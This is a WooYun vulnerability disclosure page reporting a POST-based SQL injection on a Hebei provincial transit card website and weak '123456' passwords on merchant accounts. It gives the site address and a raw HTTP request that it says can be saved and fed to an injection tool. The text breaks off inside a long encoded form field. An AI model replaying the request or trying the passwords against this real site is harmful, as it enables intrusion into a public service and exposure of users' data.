当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0101551

漏洞标题：某省一卡通漏洞泄露大量敏感信息（多家VIP商户弱口令）

相关厂商：某省一卡通

漏洞作者： 路人甲

提交时间：2015-03-16 07:55

修复时间：2015-04-30 07:55

公开时间：2015-04-30 07:55

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-16： 积极联系厂商并且等待厂商认领中，细节不对外公开
1970-01-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT
大部分做了脚本过滤，但是还是存在一处POST型SQL注入漏洞，应该是没防护POST注入造成
看到万达的影子，123456弱口令

详细说明：

河北一卡通：http://www.966009.com
一处POST型SQL注入漏洞，在充值缴费网点列表的查询处，这个页面没有被防SQL注入脚本过滤
http://www.966009.com/CLIENT/newsshow/jiaofeiwangdian.aspx?city=1

漏洞证明：

POST型注入，且该页面没有被防SQL注入脚本过滤
将下面保存到1.txt即可注入

POST /CLIENT/newsshow/jiaofeiwangdian.aspx?city=1 HTTP/1.1
Host: www.966009.com
Proxy-Connection: keep-alive
Content-Length: 17371
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.966009.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.966009.com/CLIENT/newsshow/jiaofeiwangdian.aspx?city=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: ASP.NET_SessionId=yl55zvx12g4gazs3t3zt4ekj; city=1; CNZZDATA1000205784=1646447420-1425875972-http%253A%252F%252Fwww.966009.com%252F%7C1425878616
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTIwNTc3NzgyNDgPZBYCZg9kFgICAw9kFgYCAQ9kFgICAQ8WAh4JaW5uZXJodG1sBQtb55%2Bz5a625bqEXWQCAw9kFggCAQ8WAh4EVGV4dAX8BTx0cj4gICAgPHRkIGhlaWdodD0iNTAiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgPHRhYmxlIHdpZHRoPScyMTAnIGJvcmRlcj0nMCcgYWxpZ249J2NlbnRlcicgY2VsbHBhZGRpbmc9JzAnIGNlbGxzcGFjaW5nPScwJz4gICAgICAgICAgICA8dHI%2BICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIzNiIgYWxpZ249ImNlbnRlciIgYmFja2dyb3VuZD0iLi4vY29tbW9uL21lbWJlci9hbm51LmpwZyI%2BICAgICAgIDxhICBocmVmPSdtb3JlaGVscC5hc3B4P2hlbHB0eXBlPTAxJyBjbGFzcz0nbGluayc%2B55So5Y2h55%2Bl6K%2BGPC9hPiAgICAgICAgICAgICAgICAgIDwvdGQ%2BICAgICAgICAgICAgICAgPC90cj4gICAgICAgICAgIDwvdGFibGU%2BICAgICAgIDwvdGQ%2BPC90cj48dHI%2BICAgIDx0ZCBoZWlnaHQ9IjUwIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgIDx0YWJsZSB3aWR0aD0nMjEwJyBib3JkZXI9JzAnIGFsaWduPSdjZW50ZXInIGNlbGxwYWRkaW5nPScwJyBjZWxsc3BhY2luZz0nMCc%2BICAgICAgICAgICAgPHRyPiAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMzYiIGFsaWduPSJjZW50ZXIiIGJhY2tncm91bmQ9Ii4uL2NvbW1vbi9tZW1iZXIvYW5udS5qcGciPiAgICAgICA8YSAgaHJlZj0nbW9yZWhlbHAuYXNweD9oZWxwdHlwZT0wMicgY2xhc3M9J2xpbmsnPuW4uOingemXrumimDwvYT4gICAgICAgICAgICAgICAgICA8L3RkPiAgICAgICAgICAgICAgIDwvdHI%2BICAgICAgICAgICA8L3RhYmxlPiAgICAgICA8L3RkPjwvdHI%2BZAIDD2QWAgIBDxYCHgtfIUl0ZW1Db3VudAIHFg5mD2QWAmYPFQIDMTk0DOaUv%2BW6nOaWh%2BS7tmQCAQ9kFgJmDxUCAzIzMgzlkIjkvZzkvJnkvLRkAgIPZBYCZg8VAgMxOTIM5YWs5Y%2B46LWE6LSoZAIDD2QWAmYPFQIDMjM2G%2BWmguS9lee9rui0reays%2BWMl%2BS4gOWNoemAmmQCBA9kFgJmDxUCAzIwMAzoh6rliqnnu4jnq69kAgUPZBYCZg8VAgMxOTAi5rKz5YyX5LiA5Y2h6YCa5Y2h5Y%2Bv5Lul5oyC5aSx5ZCXP2QCBg9kFgJmDxUCAzIwNgzlhbblroPlkIjkvZxkAhMPFgIfAQXsTDx0cj48dGQgaGVpZ2h0PSIzMCIgIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNEREREREUiIGNsYXNzPSJyZWQwMiI%2BJm5ic3A7Jm5ic3A7PC90ZD48dGQgIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNEREREREUiIGNsYXNzPSJyZWQwMiI%2B572R54K55Y%2B3PC90ZD48dGQgIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNEREREREUiIGNsYXNzPSJyZWQwMiI%2B572R54K55ZCN56ewPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0RERERERSIgY2xhc3M9InJlZDAyIj7lnLDlnYA8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRERERERFIiBjbGFzcz0icmVkMDIiPuaJgOWcqOWMuuWfnzwvdGQ%2BPC90cj48dHI%2BPHRkICBoZWlnaHQ9IjMwIiBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj4wMjE1PC90ZD48dGQgYWxpZ249ImxlZnQiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRhbmNodSgnZG90bWFwLmFzcHg%2FZG90X2lkPTAyMTUnKSIgIHN0eWxlPSJjb2xvcjojNjY2IiA%2BIOWwj%2BaYk%2BS%2Bv%2BWIqeW6lzwvYT48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7nn7PlrrbluoTluILoo5XljY7kuJzot6%2FkuI7kuJzkuoznjq%2FkuqTlj6Popb%2FljJfop5LpvprlsJrlmInoi5HlsI%2FljLrlhoU8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7plb%2FlronljLo8L3RkPjwvdHI%2BPHRyPjx0ZCAgaGVpZ2h0PSIzMCIgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BMDIxNzwvdGQ%2BPHRkIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48YSBocmVmPSIjIiBvbmNsaWNrPSJ0YW5jaHUoJ2RvdG1hcC5hc3B4P2RvdF9pZD0wMjE3JykiICBzdHlsZT0iY29sb3I6IzY2NiIgPiDljJflm73otoXluILplb%2FmsZ%2Flupc8L2E%2BPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2B55%2Bz5a625bqE5biC6KOV5Y2O5Lic6LevMTM45Y%2B377yI6ZW%2F5rGf5bqX5YaF77yJPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2B5byA5Y%2BR5Yy6PC90ZD48L3RyPjx0cj48dGQgIGhlaWdodD0iMzAiIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjAyMTg8L3RkPjx0ZCBhbGlnbj0ibGVmdCIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BPGEgaHJlZj0iIyIgb25jbGljaz0idGFuY2h1KCdkb3RtYXAuYXNweD9kb3RfaWQ9MDIxOCcpIiAgc3R5bGU9ImNvbG9yOiM2NjYiID4g6ZGr5Y2O5L6%2F5Yip5bqXPC9hPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPuefs%2BWutuW6hOW4gue%2Fn%2BiQpeWNl%2BWkp%2Bihl%2BS4juWNl%2BS6jOeOr%2BS6pOWPo%2BWNl%2BihjDEwMDDnsbPot6%2Fopb%2FvvIjkuJzmlrnpmLPlhYnlm63vvIk8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7oo5XljY7ljLo8L3RkPjwvdHI%2BPHRyPjx0ZCAgaGVpZ2h0PSIzMCIgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BMDIyMDwvdGQ%2BPHRkIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48YSBocmVmPSIjIiBvbmNsaWNrPSJ0YW5jaHUoJ2RvdG1hcC5hc3B4P2RvdF9pZD0wMjIwJykiICBzdHlsZT0iY29sb3I6IzY2NiIgPiDlm73lpKczNjUyNOWkp%2Be7j%2Bihl%2BW6lzwvYT48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7nn7PlrrbluoTluILlpKfnu4%2FooZflkozkuJzpqazot6%2FkuqTlj6PkuJzljZfop5I8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7moaXkuJzljLo8L3RkPjwvdHI%2BPHRyPjx0ZCAgaGVpZ2h0PSIzMCIgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BMDIzNjwvdGQ%2BPHRkIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48YSBocmVmPSIjIiBvbmNsaWNrPSJ0YW5jaHUoJ2RvdG1hcC5hc3B4P2RvdF9pZD0wMjM2JykiICBzdHlsZT0iY29sb3I6IzY2NiIgPiDlkIznpo%2FpgJrorq88L2E%2BPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2B5qeQ5a6J6KW%2F6Lev6b6Z5bKX6KW%2F5Yy65bCP5Yy65Y2X6KGMMjAw57Gz6Lev5LicPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2B5qGl6KW%2F5Yy6PC90ZD48L3RyPjx0cj48dGQgIGhlaWdodD0iMzAiIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjA0NTwvdGQ%2BPHRkIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48YSBocmVmPSIjIiBvbmNsaWNrPSJ0YW5jaHUoJ2RvdG1hcC5hc3B4P2RvdF9pZD0wNDUnKSIgIHN0eWxlPSJjb2xvcjojNjY2IiA%2BIOWbvemZheWfjue7vOWQiOe8tOi0uTwvYT48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7osIjlm7rljZflpKfooZfkuI7mp5DljJfot6%2FkuqTlj4nlj6Pmp5DljJflhazlm63kuJzooYwyMDDnsbM8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7oo5XljY7ljLo8L3RkPjwvdHI%2BPHRyPjx0ZCAgaGVpZ2h0PSIzMCIgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BMDkwPC90ZD48dGQgYWxpZ249ImxlZnQiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRhbmNodSgnZG90bWFwLmFzcHg%2FZG90X2lkPTA5MCcpIiAgc3R5bGU9ImNvbG9yOiM2NjYiID4g5Lic6L%2BQ55m%2B6LSn5ZWG5bqXPC9hPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPuaWsOWNjuWMuuafj%2Bael%2BW6hOafj%2Bael%2Bi3rzkz5Y%2B3PC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2B5paw5Y2O5Yy6PC90ZD48L3RyPjx0cj48dGQgIGhlaWdodD0iMzAiIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjEzMTwvdGQ%2BPHRkIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48YSBocmVmPSIjIiBvbmNsaWNrPSJ0YW5jaHUoJ2RvdG1hcC5hc3B4P2RvdF9pZD0xMzEnKSIgIHN0eWxlPSJjb2xvcjojNjY2IiA%2BIOa0geiho%2BW5sua0lzwvYT48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7ljJfkuoznjq%2FkuJzkuoznjq%2FkuqTlj6PvvIzmsLTmnKjpnZLln47opb%2Fpl6jljJfooYw1MOexszwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPumVv%2BWuieWMujwvdGQ%2BPC90cj48dHI%2BPHRkICBoZWlnaHQ9IjMwIiBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj4yMjI8L3RkPjx0ZCBhbGlnbj0ibGVmdCIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BPGEgaHJlZj0iIyIgb25jbGljaz0idGFuY2h1KCdkb3RtYXAuYXNweD9kb3RfaWQ9MjIyJykiICBzdHlsZT0iY29sb3I6IzY2NiIgPiDmmbrov5zkvr%2FliKnlupc8L2E%2BPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2B55%2Bz5a625bqE5biC6IGU6YKm5ZCN6YO95bCP5Yy65LiA5pyfPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2B5qGl6KW%2F5Yy6PC90ZD48L3RyPjx0cj48dGQgIGhlaWdodD0iMzAiIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjIyMzwvdGQ%2BPHRkIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48YSBocmVmPSIjIiBvbmNsaWNrPSJ0YW5jaHUoJ2RvdG1hcC5hc3B4P2RvdF9pZD0yMjMnKSIgIHN0eWxlPSJjb2xvcjojNjY2IiA%2BIOWdpOWdpOi2heW4gjwvYT48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7nn7PlrrbluoTluILkuZ3kuK3ooZfkuI7lkozlubPot6%2FkuqTlj6PljJfooYwzMDDnsbPot6%2Fopb88L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7mlrDljY7ljLo8L3RkPjwvdHI%2BPHRyPjx0ZCAgaGVpZ2h0PSIzMCIgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BMjI1PC90ZD48dGQgYWxpZ249ImxlZnQiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRhbmNodSgnZG90bWFwLmFzcHg%2FZG90X2lkPTIyNScpIiAgc3R5bGU9ImNvbG9yOiM2NjYiID4g5ZOB5ZGz5Lyg6K%2B05L6%2F5Yip5bqXPC9hPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPuefs%2BWutuW6hOW4guWFieWNjui3r%2BS4juiDnOWIqeWMl%2Bihl%2BS6pOWPo%2BW%2BoeaZr%2BWbreWMl%2BmXqOWPozwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPuahpeS4nOWMujwvdGQ%2BPC90cj48dHI%2BPHRkICBoZWlnaHQ9IjMwIiBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj4yMjY8L3RkPjx0ZCBhbGlnbj0ibGVmdCIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BPGEgaHJlZj0iIyIgb25jbGljaz0idGFuY2h1KCdkb3RtYXAuYXNweD9kb3RfaWQ9MjI2JykiICBzdHlsZT0iY29sb3I6IzY2NiIgPiDljZrov5DotoXluIIgPC9hPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPuefs%2BWutuW6hOW4guWFieWNjui3rznlj7fljZrpm4XluoTlm63pl6jlj6M8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7moaXkuJzljLo8L3RkPjwvdHI%2BPHRyPjx0ZCAgaGVpZ2h0PSIzMCIgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BMjI3PC90ZD48dGQgYWxpZ249ImxlZnQiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRhbmNodSgnZG90bWFwLmFzcHg%2FZG90X2lkPTIyNycpIiAgc3R5bGU9ImNvbG9yOiM2NjYiID4g6b6Z5L2z54Of6YWS5ZWG6KGMPC9hPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPuefs%2BWutuW6hOW4guW7uuWNjuWkp%2Bihl%2BS4juS4sOaUtui3r%2BS6pOWPo%2Baxh%2Bm%2Bmea5vuWwj%2BWMuumXqOWPo%2BWMl%2BS%2BpzwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPuijleWNjuWMujwvdGQ%2BPC90cj48dHI%2BPHRkICBoZWlnaHQ9IjMwIiBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj4yMjg8L3RkPjx0ZCBhbGlnbj0ibGVmdCIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BPGEgaHJlZj0iIyIgb25jbGljaz0idGFuY2h1KCdkb3RtYXAuYXNweD9kb3RfaWQ9MjI4JykiICBzdHlsZT0iY29sb3I6IzY2NiIgPiDliKnlrrbotoXluII8L2E%2BPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2B55%2Bz5a625bqE5biC5paw55%2Bz5YyX6LevMzgw5Y%2B35Y2T6L6%2B56eR6IuR6Zeo5Y%2BjPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2B5qGl6KW%2F5Yy6PC90ZD48L3RyPjx0cj48dGQgIGhlaWdodD0iMzAiIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjIzMDwvdGQ%2BPHRkIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48YSBocmVmPSIjIiBvbmNsaWNrPSJ0YW5jaHUoJ2RvdG1hcC5hc3B4P2RvdF9pZD0yMzAnKSIgIHN0eWxlPSJjb2xvcjojNjY2IiA%2BIOS4ieWFhOW8n%2BeZvui0p%2BWVhuW6lzwvYT48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7nn7PlrrbluoTluILljZfpq5jln7rllYbotLjot688L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7mlrDljY7ljLo8L3RkPjwvdHI%2BPHRyPjx0ZCAgaGVpZ2h0PSIzMCIgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BMjMxPC90ZD48dGQgYWxpZ249ImxlZnQiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRhbmNodSgnZG90bWFwLmFzcHg%2FZG90X2lkPTIzMScpIiAgc3R5bGU9ImNvbG9yOiM2NjYiID4g6JyA55KA5Lmm5bqXPC9hPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPuefs%2BWutuW6hOW4guWfjuinkuihl%2BS4juaWsOefs%2BWMl%2Bi3r%2BS6pOWPo%2BWMl%2BihjDUw57Gz6Lev5LicPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2B5qGl6KW%2F5Yy6PC90ZD48L3RyPjx0cj48dGQgIGhlaWdodD0iMzAiIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjIzMjwvdGQ%2BPHRkIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48YSBocmVmPSIjIiBvbmNsaWNrPSJ0YW5jaHUoJ2RvdG1hcC5hc3B4P2RvdF9pZD0yMzInKSIgIHN0eWxlPSJjb2xvcjojNjY2IiA%2BIOefs%2Bahpeadkee9keeCuTwvYT48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7nn7PlrrbluoTluILnn7PojrfljZfot68yOTnlj7fvvIzmlrDljY7ot6%2FovabnrqHmiYDnn7PmoaXlsI%2FljLo8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7mlrDljY7ljLo8L3RkPjwvdHI%2BPHRyPjx0ZCAgaGVpZ2h0PSIzMCIgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2BMjMzPC90ZD48dGQgYWxpZ249ImxlZnQiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRhbmNodSgnZG90bWFwLmFzcHg%2FZG90X2lkPTIzMycpIiAgc3R5bGU9ImNvbG9yOiM2NjYiID4g6aOf5LmL6YGT57u85ZCI5ZWG5bqXPC9hPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPuefs%2BWutuW6hOW4guafj%2Bael%2BWMl%2BWMujE1LTItMTAx77yI5Lit5Y2O5YyX5aSn6KGX5p%2BP5p6X5YyX5Yy65biC56ys5LqM5bm85YS%2F5Zut5a%2B56Z2i77yJPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2B5paw5Y2O5Yy6PC90ZD48L3RyPjx0cj48dGQgIGhlaWdodD0iMzAiIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjwvdGQ%2BPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjIzNDwvdGQ%2BPHRkIGFsaWduPSJsZWZ0IiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj48YSBocmVmPSIjIiBvbmNsaWNrPSJ0YW5jaHUoJ2RvdG1hcC5hc3B4P2RvdF9pZD0yMzQnKSIgIHN0eWxlPSJjb2xvcjojNjY2IiA%2BIOWMl%2BmDoeWwj%2BWMuuaji%2BeJjOWupDwvYT48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iZm9udDAxIj7nn7PlrrbluoTluILkuK3ljY7ljJflpKfooZfkuI7mlrDoi5Hot6%2FkuqTlj4nlj6Popb%2FooYwyMDDnsbPot6%2FljJco5YyX6YOh5bCP5Yy6QeWMujktMS0xMDHlrqQpPC90ZD48dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImZvbnQwMSI%2B5paw5Y2O5Yy6PC90ZD48L3RyPjx0cj48dGQgIGhlaWdodD0iMzAiIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJmb250MDEiPjwvdGQ%2BPHRkIGFsaWduPSJjZW50